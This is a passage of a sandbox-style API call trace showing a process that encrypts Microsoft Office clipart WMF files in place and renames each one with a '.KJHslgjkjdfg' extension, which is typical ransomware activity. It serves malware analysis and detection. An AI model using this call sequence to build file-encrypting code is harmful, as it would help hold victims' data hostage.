ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0154.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.337] GetProcessHeap () returned 0x2a0000 [0154.337] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.337] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.337] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.339] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.339] GetProcessHeap () returned 0x2a0000 [0154.339] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.339] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.339] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.339] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.339] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.339] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.339] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.340] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.340] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.340] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.340] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.340] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.340] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7114, lpOverlapped=0x0) returned 1 [0154.341] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7120, dwBufLen=0x7120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7120) returned 1 [0154.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.341] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7120, lpOverlapped=0x0) returned 1 [0154.341] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.341] SetEndOfFile (hFile=0x114) returned 1 [0154.344] GetProcessHeap () returned 0x2a0000 [0154.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.344] GetProcessHeap () returned 0x2a0000 [0154.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.kjhslgjkjdfg")) returned 1 [0154.345] CloseHandle (hObject=0x114) returned 1 [0154.345] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0154.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.346] GetProcessHeap () returned 0x2a0000 [0154.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.346] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.346] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.348] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.348] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.348] GetProcessHeap () returned 0x2a0000 [0154.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.349] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.349] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.349] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.349] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.349] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.349] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.349] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.349] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.349] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.349] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d74, lpOverlapped=0x0) returned 1 [0154.350] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80) returned 1 [0154.350] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.350] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d80, lpOverlapped=0x0) returned 1 [0154.350] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.351] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.351] SetEndOfFile (hFile=0x114) returned 1 [0154.353] GetProcessHeap () returned 0x2a0000 [0154.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.353] GetProcessHeap () returned 0x2a0000 [0154.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.kjhslgjkjdfg")) returned 1 [0154.354] CloseHandle (hObject=0x114) returned 1 [0154.354] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0154.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.356] GetProcessHeap () returned 0x2a0000 [0154.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.356] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.356] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.356] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.358] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.358] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.359] GetProcessHeap () returned 0x2a0000 [0154.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.359] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.359] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.359] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.359] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.359] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x57f4, lpOverlapped=0x0) returned 1 [0154.382] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5800, dwBufLen=0x5800 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5800) returned 1 [0154.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.382] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5800, lpOverlapped=0x0) returned 1 [0154.382] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x58d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.382] SetEndOfFile (hFile=0x114) returned 1 [0154.385] GetProcessHeap () returned 0x2a0000 [0154.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.385] GetProcessHeap () returned 0x2a0000 [0154.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.kjhslgjkjdfg")) returned 1 [0154.387] CloseHandle (hObject=0x114) returned 1 [0154.387] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0154.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.388] GetProcessHeap () returned 0x2a0000 [0154.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.388] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.388] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.388] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.391] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.391] GetProcessHeap () returned 0x2a0000 [0154.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.391] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.391] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.391] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.392] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3f34, lpOverlapped=0x0) returned 1 [0154.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3f40) returned 1 [0154.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3f40, lpOverlapped=0x0) returned 1 [0154.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.393] SetEndOfFile (hFile=0x114) returned 1 [0154.396] GetProcessHeap () returned 0x2a0000 [0154.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.396] GetProcessHeap () returned 0x2a0000 [0154.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.kjhslgjkjdfg")) returned 1 [0154.397] CloseHandle (hObject=0x114) returned 1 [0154.397] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0154.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.397] GetProcessHeap () returned 0x2a0000 [0154.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.397] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.398] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, 